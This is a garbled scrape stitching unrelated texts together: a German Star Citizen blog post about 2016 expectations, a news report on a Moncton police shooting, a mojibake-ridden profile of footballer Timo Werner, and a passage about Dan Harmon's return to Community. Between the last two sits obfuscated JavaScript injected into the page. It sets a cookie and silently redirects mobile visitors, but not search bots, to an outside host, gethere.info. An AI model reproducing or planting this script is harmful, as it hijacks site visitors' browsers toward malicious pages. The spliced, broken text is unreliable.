Abseits der Texte auf dem Blog habe ich zwei Video-Formate für Euch. Das eine ist der NewsCast. Dieser erscheint normalerweise Sonntag am späten Abend. Darin fasse ich die News der Woche kurz und bündig zusammen und gebe Euch Hinweise, was Ihr Euch anschauen solltet, und was Ihr links liegen lassen könnt.
Das zweite Format ist die Diskussionsrunde. Hier besprechen wir im TS die aktuellen Themen rund um Star Citizen und strahlen die Diskussion über Twitch aus. Es gibt mittlerweile knapp 90 Ausgaben der Diskussionsrunde und es ist immer wieder eine Freude, die Stammgäste auf dem TS zu hören. Aber natürlich ist jeder auf dem TS willkommen. Die nächste Diskussionsrunde findet am Freitag, den 8. Januar, ab 20 Uhr statt.
Soweit sind dies alles Dinge, die ich im Dezember schon so gemacht habe und denke, dass meine verfügbare Zeit für dieses Programm ausreicht. Zusätzlich zu dem oben genannten habe ich einige Dinge auf meiner Todo-Liste an denen ich gerade arbeite bzw. von denen ich einige im Jahr 2016 abarbeiten möchte. Ich möchte da noch nicht allzu sehr ins Details gehen, aber hier ein paar der Punkte an denen ich arbeite: Verteilung der Blog-Posts auf die verschiedenen Plattformen (RSI-Forum, RSI-Community Hub, Twitter, Facebook, etc), Verbesserung der Mitschnitte der Diskussionsrunden, Übersetzungen.
Ich hoffe, dass ich Euch das ein oder andere demnächst präsentieren kann. Schauen wir mal. Ich mache es wie Chris Roberts. Wenn es fertig ist, dann kommt es auf die Seite.
Abschließend möchte ich Euch bitten, dass Ihr in die Kommentare schreibt, wenn ich irgendeinen wichtigen Punkt, der 2016 kommen wird, vergessen habe. Danke.
Das neue Jahr hat begonnen - ein frohes Neues an Euch alle! 2015 habe ich größten Teils eine Pause von Star Citizen gemacht. Erst gegen Ende, als es dann wieder spannender wurde, habe ich mein Faible, meine Motivation für das Spiel wiedergefunden. Für 2016 kann ich versprechen, dass es ein picke-packe volles Jahr werden wird - auch hier auf dem Star Citizen Blog! In diesem Artikel schauen wir uns an, was wir alles 2016 erwarten können.Vor Weihnachten haben die Entwickler von Star Citizen es noch geschafft, die erste Version des MMO-Teils auf den Live-Server zu bringen. Jeder finanzielle Unterstützer von Star Citizen kann jetzt die Alpha 2.0 spielen. Dass haben von den etwas über eine Million Accounts erst etwa 80.000 Spieler gemacht. Viele haben wahrscheinlich irgendwann mal ein Starter-Paket gekauft und warten bis das Spiel fertig ist.Nun könnte man eigentlich meinen, dass eine Alpha mit 80.000 Spieler für die Entwickler ein super Testinstrument für die Qualität der Releases sein sollte. Weit gefehlt. Cloud Imperium Games hat zusätzlich zu den Live-Server (da läuft die Alpha drauf) noch ein sogenanntes Public Test Universe (PTU). Auf diese Server kommen die Patches bevor sich in die Alpha kommen. Das ist dann sowas wie ein Pre-Alpha-Test.Warum machen sie das und warum ist das für die Erwartungen für 2016 wichtig? Das System aus Live-Servern und Test-Servern hat 2015 sehr gut funktioniert. Die Live-Server können von allen Spielern genutzt werden, die das Spiel finanziell unterstützt haben (wenigsten ein Game-Package gekauft haben) und dort soll das Spiel so gut zu spielen sein, wie möglich.Auf dem PTU dagegen geht es vor allem darum, dass die Spieler für die Entwickler Bugs finden und diese melden. Das Hauptaugenmerk liegt hier also mehr darauf zu schauen, ob die Qualität für ein Release auf dem Live-Server ausreicht. Dazu schränken die Entwickler den Zugang zum PTU ein. Zunächst bekommen die aktivsten Spieler Zutritt (nach Forum-, Community- und Bug-Meldungs-Aktivität). Danach geht es meistens nach Citizen-Nummer (wann der Account erzeugt wurde).Wenn wir also über die Erwartungen für 2016 sprechen, dann ist für mich der Release auf dem Live-Server das entscheidende Kriterium. Es kann gut sein, dass ein Feature auf dem PTU getestet wird, dann für untauglich erklärt wird und von Grund auf neu programmiert oder überarbeitet wird. Das kann dann Monate dauern, bis wir von einem Feature wieder etwas hören.Nun aber zu den eigentlichen Releases, die wir wohl im Jahr 2016 erwarten können. Chris Roberts hat angekündigt, dass es jeden Monat einen Patch für die Alpha geben soll. Im Januar soll Patch 2.2 herauskommen. Die Inhalte des Patches sollen sich immer danach richten, welches Feature in dem Monat fertig für den PTU ist. Dann kommt es zunächst auf diesen Server und wird dort von den Spielern getestet, die darauf Zugriff haben.Danach geht es für das Feature dann entweder wieder zurück in die Entwicklung, oder auf den Live-Server, also als Teil des monatlichen Patches. So will Chris Roberts sicherstellen, dass jeden Monat ein Patch herauskommen wird. Wenn CIG das schafft, dann sollte im Dezember entsprechend der Patch 2.13 veröffentlicht werden (abgesehen von möglichen Major-Releases - zum Beispiel 3.0 etc.).Hier die Liste an Features, die ich im Jahr 2016 erwarte. Ich habe versucht ungefähr die Reihenfolge aus den Aussagen der Entwickler ("soon", "very soon" und so weiter) abzuleiten. Natürlich kann ich da komplett falsch liegen, aber hier ist dennoch meine Liste:Wie oben beschrieben, gehe ich davon aus, dass das Hangar-, Social- und das Universe-Modul in diesem Jahr zu einem gemeinsamen Universum zusammenwachsen und nicht mehr als einzelne Module fungieren werden. Anders sieht es da mit den Spielen im Spiel aus. Sowohl Arena Commander als auch Star Marine sind ja Simulationen, die der Charakter im Spiel benutzen kann, um sich auf die "echten" Gefechte im Star Citizen Universum vorzubereiten.Meiner Meinung nach werden beide Module dieses Jahr einen Platz in den hinteren Reihen einnehmen, was die Priorität der Entwickler angeht. Bei Star Marine seht Ihr jetzt schon, dass dies der Fall ist. Seit der Ankündigung der Alpha 2.0 im Oktober gibt es keinerlei Hinweise mehr, dass mit Star Marine in der nächsten Zeit auch nur ansatzweise zu rechnen sein wird. Der Fokus der Entwicklung liegt jetzt ausschließlich auf der Alpha des Persistenten Universums.Star Marine - und auch Arena Commander davor - sollten für die Entwickler Testumgebungen sein, um die entsprechenden Mechaniken in einer einfachen Umgebung mit den Spielern zusammen zu entwickeln und vor allem auszutarieren. Insbesondere bevor die Persistente Welt vorhanden ist. Im Falle des Arena Commanders hat das auch wunderbar funktioniert und er wird hier wahrscheinlich weiterhin eine Rolle spielen können. Bei Star Marine hätte dies auch funktioniert, wenn es im zweiten Quartal 2015 in akzeptabler Qualität fertig gewesen wäre.Das war es aber nicht. Alle wesentlichen FPS-Tests können die Entwickler jetzt direkt in der Alpha machen. Egal ob es FPS mit oder ohne Gravitation ist, ob es FPS in größeren Raumschiffen ist oder die Balance der Waffen und Ausrüstungen. All das kann in der Alpha ohne Probleme getestet werden. Die Notwendigkeit ein extra Module dafür zu bauen, besteht aus Sicht der Entwickler nun nicht mehr.Insofern glaube ich, dass die eigentliche Entwicklung neuer Features über Tests in der Alpha gemacht werden. Irgendwann vor dem Release von Star Citizen wird dann sicher jemand Star Marine als In-Game-Simulator fertig bauen. Aber den eigentlichen Zweck, den Spielern und den Entwicklern eine Testumgebung zu bieten, in der FPS getestet werden kann, bevor das Persistente Universum so weit ist, den wird das Module nicht mehr erfüllen können.Was heißt das also für die Erwartungen für 2016? Ganz einfach: An der Front der Spiele im Spiel würde ich eher kosmetische Dinge (Arena Commander) bis gar nichts (Star Marine) erwarten, da beide erst wieder im fertigen Spiel wirklich benötigt werden.Als Chris Roberts 2012 angekündigt hat, dass er wieder ein Weltraumspiel machen möchte, da lag der Fokus eigentlich darauf, wieder ein Spiel ala Wing Commander herauszubringen. Und das ist bekannter Maßen ein Single-Player-Spiel. Der MMO-Teil, der jetzt im Fokus der meisten Spieler, der Entwickler und der Medien steht, sollte nur gebaut werden, wenn mehr ein 3 Millionen Dollar zusammenkommen würden.Für mich war das versprochene "neue Wing Commander" der eigentliche Grund 55 Dollar zu an Chris Roberts zu überweisen. Ich habe in den 90ern alle Weltraumspiele von ihm und seinem Bruder gespielt. Meine absoluten Lieblinge waren Wing Commander 4 und Privateer 2. Beide haben einfach eine unglaublich gute Story und sie sind dazu sehr gute Spiele.Auf ein Spiel, welches daran anknüpft, hatte ich schon ewig gewartet. Freelancer war 2003 das letzte wirklich gute Weltraumspiel. Also war es klar, dass ich Chris Roberts ein paar Scheine rüberwerfen werde. Wenn ich mich recht erinnere, hatte ich das Digital Hunter Package mit einer 300i als Starter-Schiff ausgewählt, da ich mir einfach gesagt hatte, wenn es nicht gut wird, dann hast Du genauso viel bezahlt, wie für jedes andere schlechte Spiel, dass hier zu Hause im Regal verstaubt.Ich muss Euch natürlich nicht sagen, dass es nicht bei 55 Dollar geblieben ist. Aber dafür hatte ich jetzt schon soviel Spaß mit diesem Spiel, dass es mir jeden verdammten Cent wert ist.Kommen wir aber mal zurück zu Squadron 42. Nach vier Jahren also soll es dieses Jahr so weit sein und das neue Wing Commander gegen Ende des Jahres herauskommen. Juhu!!! Die Erwartungen sind extrem hoch - jedenfalls bei mir. Ich hoffe auf nichts weniger, als das beste Spiel des Jahres.Das ist Euch zu hoch gegriffen? Dann schauen wir mal, warum ich das erwarte: Die Geschichte des Star Citizen Universums bietet mit den ganzen Lore-Posts auf der offiziellen Seite eine riesige ausgestaltete Welt mit reicher Geschichte und Geschichten, die sich wunderbar in Cut-Scenes und Story-Twists einbauen lässt.Dave Haddock hat hier mit seinem Schreiber-Team über die letzten 3 Jahre hervorragende Arbeit geleistet. Viele andere Spiele, die mit toller Story glänzen, haben ebenso eine reichhaltige fiktionale Welt als Hintergrund, die über Jahre entstanden ist. Ich denke da insbesondere an die Spiele von Blizzard (vor allem Warcraft).Das allein reicht natürlich noch nicht aus. In dieser Welt muss natürlich auch noch eine sehr gute Geschichte erzählt werden, die man mit seinem Charakter live miterlebt. Auch dabei kann eigentlich nicht viel schiefgehen, denn genau das war in den 90ern Chris Roberts Markenzeichen, die seine Spiele von denen der Konkurrenz abgehoben hat: Die Story war immer das absolute Highlight seiner Spiele.Dazu kommt noch die extreme Liebe zum Detail, die man allen Wing Commander Titeln ansieht. Ob dies die ausgefeilten Charaktere sind, die man auf dem Trägerschiff kennenlernt, oder die Zwischensequenzen vor und nach den Missionen. Ich kann mich noch gut erinnern, dass ich zu vielen Missionen nicht den eigentlich besseren NPC-Piloten mitgenommen habe, sondern den, der mir am sympathischsten war.Alle dies hat Chris Roberts auch für Squadron 42 angekündigt. Wir werden wieder mit den anderen Piloten und Crew-Mitgliedern auf unserem Träger sprechen können. Wir können uns wieder entscheiden, wenn wir auf Missionen mitnehmen. Wir können wieder die Charaktere lieben und uns mit anderen Charakteren streiten. Einen Vorgeschmack auf die NPC-Charaktere hat uns die Morrow-Tour im Oktober schon gegeben - großartig.Spielerisch sehen wir heute schon in der Alpha, dass der Weltraumkampf mit NPCs sehr gut funktioniert. Stellt Euch aber nur die Möglichkeiten vor, die sie heute zusätzlich zu den Wing Commander Teilen in den 90ern haben. Man startet die Mission auf dem Trägerschiff und fliegt zum nächsten Nav-Punkt. Dort soll aus einem Vanduul-Wrack ein Datenspeicher mit den Positionen der Flotte der Vanduul in diesem Sektor geborgen werden.Wir werden also zunächst die Jäger der Vanduul ausschalten und vielleicht noch einen Destroyer der Vanduul, der ein Schutzschild um das Wrack gelegt hat. Ist das erledigt, landen wir auf dem Wrack und kämpfen uns in bester FPS-Manier zur Brücke durch und holen uns den Datenspeicher. Zurück in unserem Raumschiff wollen wir gerade den Quantum-Drive starten, als die Vanduul-Flotte eintrifft und wir ziemlich in der Patsche sitzen.Also flüchten wir ala Star Wars in ein Asteroiden-Feld und die Flotte versucht uns zu folgen, um die Daten zurück zu bekommen...Wenn ich mir das so vorstelle, welche Möglichkeiten sie da haben, dann läuft mir das Wasser im Mund zusammen. Und das Beste habe ich noch gar nicht gesagt: All das sollte ohne jede Ladepause funktionieren.Dazu kommt dann auch noch die ganze technische Entwicklung. Zum Beispiel mit dem Performance-Capture sollten die Cut-Scenes und Gespräche mit den NPCs ein Niveau erreichen, das wir bisher nur in Hollywood-Produktionen gesehen haben. Die Rede von Admiral Bishop im Senat zeigt schon, dass sie auf einem sehr guten Weg sind. Dies war ja nur ein Zwischenergebnis, nicht das Endprodukt.Ich könnte jetzt hier noch viele weitere Punkte ins Feld führen, wie zum Beispiel die Grafikqualität des Spieles insgesamt, oder das riesige Arsenal an Raumschiffen und Komponenten, oder die riesigen Karten, die durch 64 Bit ermöglicht werden, oder die ganzen Hollywood-Schauspieler, die Chris Roberts für Squadron 42 gewinnen konnte, und vieles vieles mehr. Ich sag's Euch, wenn das nicht das beste Spiel des Jahres wird, dann weiß ich auch nicht.Wie jedes Jahr wird CIG auch im Jahr 2016 am Rande einiger Messen und Conventions ein Event veranstalten. Soweit es mir möglich ist, werde ich versuchen an den Events vor Ort teilzunehmen. Falls das nicht möglich sein sollte (kein Ticket oder viel zu weit weg), dann werden wir wie beim Weihnachtsstream von CIG eine Diskussionsrunde vor und nach dem Stream veranstalten.Nun aber zu den eigentlichen Conventions. Gesichert ist, dass CIG wieder eine Party am Rande der GamesCom in Köln veranstaltet (wahrscheinlich am 19. August). Das hat Sandy bestätigt, als sie begründet hat, dass die Star Citizen Con 2016 nicht in Frankfurt stattfindet, obwohl dieses Studio eigentlich an der Reihe gewesen wäre. Die GamesCom findet gut zwei Monate vorher statt und das ist ihnen zu eng zusammen.Die Star Citizen Con wird deshalb wieder in Los Angeles ausgetragen. Der vierte Geburtstag von Star Citizen ist am 10. Oktober. Das ist ein Montag. Ich gehe stark davon aus, dass sie das Event dennoch an diesem Tag über die Bühne bringen.Abgesehen davon gab es in den vergangen Jahren Events am Rande der PAX East in Boston. Falls es dieses Jahr dort wieder ein Event gibt, werde ich versuchen live vor Ort zu sein. Ansonsten hatten sie noch Events oder Panels oder ähnliches auf der PAX Australia, DragonCon und SXSW. Davon werden wahrscheinlich erst im Nachhinein erfahren, da es oft keine Streams gab und es eher ein Fan-Treffen mit Ben Lesnick oder anderen Entwickler war.Beim Thema Crowdfunding schwenken wir jetzt langsam auf die Zielgerade ein. Klar, für den MMO-Teil wird das Crowdfunding noch einige Zeit weitergehen, aber zumindest Squadron 42 wird - hoffentlich - dieses Jahr die ersten Gewinne für CIG abwerfen. Ab Anfang Februar wird man in einem Game-Package nicht mehr Star Citizen und Squadron 42 zusammen bekommen.Ich wette darauf, dass sie im Laufe des Jahres für Squadron 42 eine ganz normale Per-Order-Kampagne starten. Also mit allem, was so geht: Presseberichten, Trailer-Videos und die ganzen anderen Marketing Kniffe. Man wird hier schauen, so konventional wie möglich rüberzukommen, um die Zweifler, die mit Crowdfunding nichts zu tun haben wollen, dadurch zu ködern, dass man ihnen sagt, sie würden ein fast fertiges Produkt kaufen.Wenn dann Spielemagazine die ersten Test rausbringen und bestätigen, dass es ein (fast) fertiges Spiel gibt, dann werden sich die meisten Squadron 42 doch mal genauer anschauen. Ob sie dann kaufen steht auf einem anderen Blatt. Das kommt größtenteils auf die Berichte der Medien zu Squadron 42 an. Sehen wir hier viele Wertungen um die 90, dann wird CIG einen guten Gewinn einfahren können.Wie beschrieben, werden diese Einnahmen vom Verkauf von Squadron 42 die ersten Gewinne sein, die CIG macht. Ergo erwarte ich nicht, dass diese Einnahmen auf dem Crowdfunding-Counter auftauchen werden. Was sie mit den Einnahmen machen, weiß niemand. Zu hoffen ist, dass Chris Roberts so viel wie möglich zurück in das Spiel steckt, aber es wäre genauso legitim diese Gewinne an die Besitzer von Cloud Imperium Games auszuzahlen (So weit wir wissen, er selbst und Ortwin Freyermuth).A gunman has opened fire killing three police officers and injuring two others in the city of Moncton, New Brunswick, in Canada as authorities launched an intense manhunt for the armed suspect.
The Royal Canadian Mounted Police (RCMP) has identified the suspect as 24-year-old Justin Bourque.
The authorities have asked the residents in the neighbourhood to stay indoors as the shooter remains on the loose while they continue to scour the city's northern region.
"The RCMP received a call at 7:20pm Atlantic Time of a man wearing camouflage clothing, carrying firearms, and walking into the woods," police official Julie Gagnon said.
Moncton city, which has a population of about 100,000, is located nearly 150kms northeast of St John.
"Shooter still believed to be in Pinehurst Subdivision area of Moncton. Stay locked inside. Leave outdoor lights on," the RCMP tweeted.
"It's just crazy. We're chatting with our friends on Facebook and we're not going to bed until this guy is caught. I'm sure nobody in Moncton is sleeping because he seems to be all over the place. It's devastating. I don't know if he was on a hunt for them, or what," 42-year-old Danny Leblanc, a resident in the neighbourhood, told the Canadian Press.The Bundesliga has been producing outstanding attacking players at an unimaginable rate over the last few seasons. Here is a look at the latest starlet rising through the Stuttgart ranks.
The plethora of young attackers in the Bundesliga is no more a secret. A few of seasons ago, avid watchers of the Bundesliga were left awestruck by the brilliance of the likes of Shinji Kagawa, Mario GAi??tze, Marco Reus and Lewis Holtby. But those who werenai??i??t too well versed with the happenings of the Bundesliga often chose to ignore these names. They were just gems that could shine domestically, lacking the promise of the Tom Cleverleyai??i??s and Daniel Sturridgeai??i??s.
Fast forward a couple of years and the whole football world is going gaga over the aforementioned names. Kagawa and Holtby are now plying their trade in the most widely followed league in the world, Reus has become a pivotal figure in the most exciting setup in European club football and GAi??tze is part of one of the most indomitable sides in the world.
Some might have thought that the Bundesligaai??i??s sudden burst in production of these impeccable youngsters would stop soon but that has hardly been the case. Schalke now boast of two more potential stars, Max Meyer and Leon Goretzka. Borussia Dortmundai??i??s latest produce, Jonas Hofmann, is only just getting into his stride. Bayern Munichai??i??s Emre Can is growing by leaps and bounds whilst on loan at Bayer Leverkusen. But the real sensation, one you probably arenai??i??t going to notice whilst playing the latest edition of FIFA or Football Manager, is VfB Stuttgartai??i??s Timo Werner.
Wernerai??i??s first step to grabbing the worldai??i??s attention was his debut for the German U-15 side back in late 2010. At just 14 years of age Werner took the opportunity to impress and managed a brilliant hattrick for the U-15ai??i??s thereby sealing his place in the side for the remaining friendlies to come. He was rightly rewarded with a spot in Stuttgartai??i??s U-17 squad for the latter half of the Bundesliga Junioren and played a crucial role in his sideai??i??s route to the semi-final of the tournament.
The following season saw Werner become a regular in Stuttgartai??i??s U-17 side. The then 15-year-old managed a mind boggling 24 goals in 24 games for his club. This was enough to impress the U-17 coach of national team, Stefan BAi??ger, and Werner was travelling to Slovenia for the U-17 European Championships. The Netherlands took the trophy, while all attention was Max Meyer, but Werner was beginning to get into his stride.
Werner was promoted to the U-19 side at Stuttgart and also became a mainstay in the German U-17 side. His feats over the course of the 2012-13 season were nothing short of remarkable. For his club, Werner repeated his statistic of 24 goals in the league, including three instances on which he scored three or more goals. He managed to hit form with the national team as well, scoring 18 goals in just 14 games.
Wernerai??i??s ability and mentality were impressive enough to make Bruno Labbadia call up the 17 year old to the senior side for their first competitive game this season, a Europa League qualifier against Botev Plovdiv. Werner put in a good showing against the Bulgarian side for the hour that he was on the pitch. ai???I am happy about every training session and every game I play with the first team,ai??? said Werner after the game.
Having become the youngest ever player to represent the Swabians, attention on Werner was at an all time high. Stuttgart were unfortunately faltering heavily under the regime Bruno Labbadia. This period also saw Werner get a very limited amount of playing time in the Bundesliga, just 15 minutes in 3 games. Following the sacking of Labbadia, Stuttgart ushered in a new era under Thomas Schneider. The new coach seems to believe that putting faith in the youth is the way forward and it has paid rich dividend for Stuttgart.
Werner has benefitted greatly from this new policy followed at the club. The 17-year-old has gone from strength to strength, ousting Ibrahima Traore from the left flank to become Schneiderai??i??s first choice there. His two assists against Hoffenheim in September were a mere sign of promise as Werner has already managed to add three goals to his account, also becoming the youngest player in the Bundesliga to score two goals in the same game.
This record breaking brace came in the Baden-WA?rttemberg derby, a fixture that followed Stuttgartai??i??s thrashing at the hands of Borussia Dortmund. Wernerai??i??s goals were absolutely brilliant, a top show of ability, but the fact that this 17-year-old bounced back from the mental devastation of being on the pitch and being trounced by a 6-1 scoreline speaks a lot about this youngsterai??i??s mindset.
One look at Wernerai??i??s first goal in the derby and all doubts of this youngster being overhyped should disappear. His pace is incredible and it was one of the ai???special skillsai??? of Wernerai??i??s that Schneider has mentioned. That coupled with good vision and ball control make him useful as a winger and as a frontman in attack. Not only can Werner man Stuttgartai??i??s left flank but also play second fiddle to Vedad Ibisevic, a key factor that Stuttgart lacked last season.
ai???Heai??i??s really fun to watch,ai??? said Fredi Bobic after the derby against Freiburg. ai???But we need to give him time to develop further.ai??? And time is exactly what young Timo Werner needs. A lot of time, patience and backing will help take this seventeen year old from being a promising starlet noticed on occasion in a domestic league to a worldwide sensation. Werner has displayed all the traits that should help him follow in the footsteps of GAi??tze, Kroos and Reus. With time and that inkling of luck this Stuttgart born lad should prove to be the next attacking star from Germany.
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d |
. Months later, Harmon used some choice words (more on that later) to describe his distaste for his successors' work, noting in a Harmontown show that it was "very much like an impression -- and an unflattering one."
PHOTOS: Broadcast TV's Returning Shows 2013-14
**
"I wanted to kill myself constantly constantly," says Harmon when asked to assess how he handled his first stint on Community. "It's not an exaggeration to say that every single day, I was the reason why everyone above me and everyone below me had a problem," he says, his paunchy midsection peeking out from under a wrinkled shirt. As he employed phrases like "it has to be like this or I quit" often, his disdain for authority became somewhat legendary. It's all such a handful that even though they rehired him and soon will begin promoting his return, Sony and NBC execs declined comment for this story.
Harmon, who has used "rude asshole" and "selfish baby" to describe himself, admits to friction in his writers room, where he had to learn how to be both a boss and a collaborator. The Marquette University dropout didn't rise through the ranks on other people's shows the way many showrunners do. Instead he was discovered when an early comic book he had worked on was optioned by Oliver Stone, and his résumé includes film work, web comedy and a stint on The Sarah Silverman Program. Writing with others initially was a challenge. "I came in going: 'Nobody's gonna tell me how to do this. I don't care how your system does it,' " he says. "And they had a very legitimate complaint, which was, 'We're being paid a huge amount of money to help you, and you're locking yourself in your office.' " He learned to be a better collaborator, but every script still required a Harmon rewrite -- to be "Harmonized," as Community's staff dubbed it -- to ensure the show remained in his unique voice. Comparisons to Arrested Development's Mitch Hurwitz are made often.
On set, Harmon regularly butted heads with Chase over the direction of the actor's character, Pierce Hawthorne, a standoff that led to Harmon famously playing Chase's angry voicemails during a Harmontown show. "[Chevy is] a befuddled old man, but he's also the guy who calls you to his trailer and shakes the script in the air and says: 'I'm not a befuddled old man! I'm sexy! I could be the star of this show! I'm not gay. You're writing me as if I'm gay,' " says Harmon, noting that he'd use Chase's outbursts as story fodder. "I'd say to him, 'Do you understand that what you're saying is funny and it makes an interesting character?' He would kind of blink and stare at me and go, 'Whatever, I just don't think it's funny.' " Disgruntled, the actor has since parted ways with the show. ("Dan and I are friends again," says Chase. "He's brilliant and can be very funny. The reason I wanted to do the show in the first place was Dan's writing. And I stand by that. But I have to go now, I'm very busy writing Community's Ice Capades Extravaganza.")
By May 2012, Harmon had heard rumblings that Sony had approached Port and Guarascio about running his show. Once the news became official, he refocused his energy on a forthcoming animated series, Rick and Morty, for Adult Swim, where execs praise his lack of filter. "Dan is real in a refreshing way, which makes him interesting and his art interesting," says Adult Swim executive vp Mike Lazzo. There also was a comedy that CBS passed on and a Fox project that never got off the ground. "Fox is graciously rolling my deal because I was so paralyzed by the idea of writing the next Community, which is what I wanted to do, that I was pooping the bed," he says, noting that the flurry of interest from rival nets sustained him. "Believe me, the thing that drives me the most is other people's approval." (He has other animation projects at Nickelodeon and Cartoon Network via his Starburns shingle.)
But it was Harmon's other activity during the year away that best illustrates how brilliantly he has mobilized his fan base. Accompanied by his partner Jeff Davis, comedian girlfriend Erin McGathy (who lives with Harmon in their Los Feliz home) and a documentary filmmaker, he took Harmontown -- during which he plays Dungeons & Dragons and riffs on topics ranging from his struggles as a showrunner to his relationship with McGathy -- on the road. Hordes of superfans, or "Harmonites," turned up in every city, just as they did for Conan O'Brien when he went on the road after being dumped by NBC. Harmon's fans love Community, of course, but they also feel connected to him personally because, as he's said, he "blogs or tweets every time he wipes his butt, hugs his cat or hurts his girlfriend."
STORY: It's Official: Dan Harmon Returning as 'Community' Showrunner
